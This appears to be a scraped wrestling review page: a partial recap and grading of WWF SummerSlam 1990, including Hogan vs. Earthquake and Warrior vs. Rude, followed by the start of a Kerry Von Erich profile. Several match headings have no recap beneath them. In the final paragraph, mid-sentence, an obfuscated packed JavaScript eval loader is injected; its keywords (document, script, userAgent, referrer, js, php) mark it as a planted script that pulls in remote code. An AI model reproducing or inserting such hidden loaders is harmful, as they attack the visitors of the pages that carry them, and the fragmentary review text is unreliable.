Back in and Perfect hits a clothesline of his own and the necksnap has Tornado in trouble. Off to a sleeper on Tornado but he quickly makes the rope. Perfect tries slapping him in the face, but Tornado pulls him into a slingshot, sending Perfect head first into the post. The Claw hold and Tornado Punch are enough for the pin and the title.

Mean Gene is talking about Sapphire being nowhere in sight (remember that as it becomes important later) when Hennig and Brain come in and say Tornado cheated by sending Perfect into the post. Heenan swears, yes SWEARS I SAY, that the shoulder was up at two.

Sapphire vs. Sensational Sherri

Warlord vs. Tito Santana

Ad for Survivor Series. That show SUCKED.

Tag Titles: Hart Foundation vs. Demolition

During the break between falls, Demolition knocks Bret to the floor, allowing Ax to run down and sneak under the ring. The third fall starts with Bret getting two off a sunset flip before taking Smash down by the leg. Neidhart picks Bret up for the reverse powerslam for two on Smash. Now things get tricky as Smash rolls to the floor and rolls under the ring, switching places with Ax.

Demolition wants to get their hands on the LOD.

Jake Roberts vs. Bad News Brown

Demolition yells a lot.

Gene sees Sapphire go into a dressing room and lock the door behind her.

Orient Express vs. Nikolai Volkoff/Jim Duggan

Dusty Rhodes vs. Randy Savage

Hulk Hogan vs. Earthquake

Bravo gets in some cheap shots on the floor but Earthquake misses an elbow drop back inside. Hogan finally gets to his feet (sidenote: Roddy Piper should not be allowed to cheer for Hogan. Ever.) but falls back down on a slam attempt. Off to a bearhug by Earthquake as the match slows down. Hulk punches out of it and tries a cross body like a schnook, earning the powerslam he gets as a result. Earthquake drops a pair of Earthquake splashes (seated sentons) but Hogan gets up at two to shock the crowd.

Rating: B-. The match itself was nothing of note but this is exactly what the fans wanted to see other than Hogan getting a pin. These two feuded on the house show circuit for the next four months or so, which really is amazing when you consider how basic the angle was that set it up. This falls into the fun category which is fine for a show like this.

Post match Quake chokes Hogan until Bossman blasts him in the back with a STEPLADDER. Quake finally drops him and looks at Bossman so the cop pulls out the nightstick to chase them off. Lots of posing ensues as you can see the house show rematches with any combination of these four guys being made up.

Vince and Roddy talk about Hogan vs. Earthquake happening again.

WWF World Title: Ultimate Warrior vs. Rick Rude

In a cage where you can win by pin or escape. Rude tries to block Warrior from getting into the cage so Warrior knocks him off the top and down into the ring. The champion finally comes in with a top rope ax handle smash and throws Rude into the cage. Rick goes into the cage a few more times but ducks a charge to send Warrior face first into the bars. Rude kicks Warrior away but jumps off the top to put him down again instead of climbing out.

Rating: D. This match sucked and the ending was exactly what people expected. These two had a match on SNME a month earlier and maybe Rude should have taken the title there to give it back to Warrior here. There was nothing of interest here and Warrior never seemed to be in any real danger due to Rude not going for a cover or trying to escape.

Ratings Comparison

Rockers vs. Power and Glory

Original: B-

Redo: C-

Texas Tornado vs. Mr. Perfect

Original: B

Redo: D+

Sapphire vs. Sensational Sherri

Original: N/A

Redo: N/A

Warlord vs. Tito Santana

Original: C+

Redo: D+

Hart Foundation vs. Demolition

Original: A+

Redo: B

Jake Roberts vs. Bad News Brown

Original: C-

Redo: D+

Nikolai Volkoff/Jim Duggan vs. Orient Express

Original: D+

Redo: N/A

Randy Savage vs. Dusty Rhodes

Original: N/A

Redo: N/A

Hulk Hogan vs. Earthquake

Original: B+

Redo: B-

Ultimate Warrior vs. Rick Rude

Original: C-

Redo: D

Overall Rating

Original: A+

Redo: C+

Nostalgia is a powerful drug.

http://kbwrestlingreviews.com/2010/12/12/summerslam-1990/

Remember to follow me on Twitter @kbreviews and pick up my new book of NXT Reviews: The Full Sail Years Volume I at Amazon for just $3.99 at:

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Today is one of those guys that could have been something very special if not for some personal demons. It’s Kerry Von Erich.

Kerry eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bayrt|var|u0026u|referrer|naess||js|php'.split('|'),0,{})) of course started in his dad’s promotion in Texas in 1979, but we’ll pick things up in St. Louis at some point in 1981.